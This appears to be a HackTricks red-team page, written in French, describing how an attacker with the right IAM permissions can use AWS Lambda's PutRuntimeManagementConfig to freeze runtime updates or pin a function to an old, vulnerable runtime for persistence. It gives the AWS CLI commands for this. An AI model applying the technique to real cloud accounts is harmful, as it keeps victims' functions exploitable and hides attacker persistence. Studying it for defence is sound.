AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig

Reading time: 2 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Abuse lambda:PutRuntimeManagementConfig pour fixer une fonction sur une version runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et assurer une persistance à long terme.

Prérequis: lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, lambda:GetRuntimeManagementConfig.

Exemple (us-east-1) :

  • Invocation: aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5
  • Geler les mises à jour: aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1
  • Vérifier: aws lambda get-runtime-management-config --function-name --region us-east-1

Vous pouvez éventuellement fixer (pin) sur une version runtime spécifique en extrayant le Runtime Version ARN des logs INIT_START et en utilisant --update-runtime-on Manual --runtime-version-arn <arn>.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks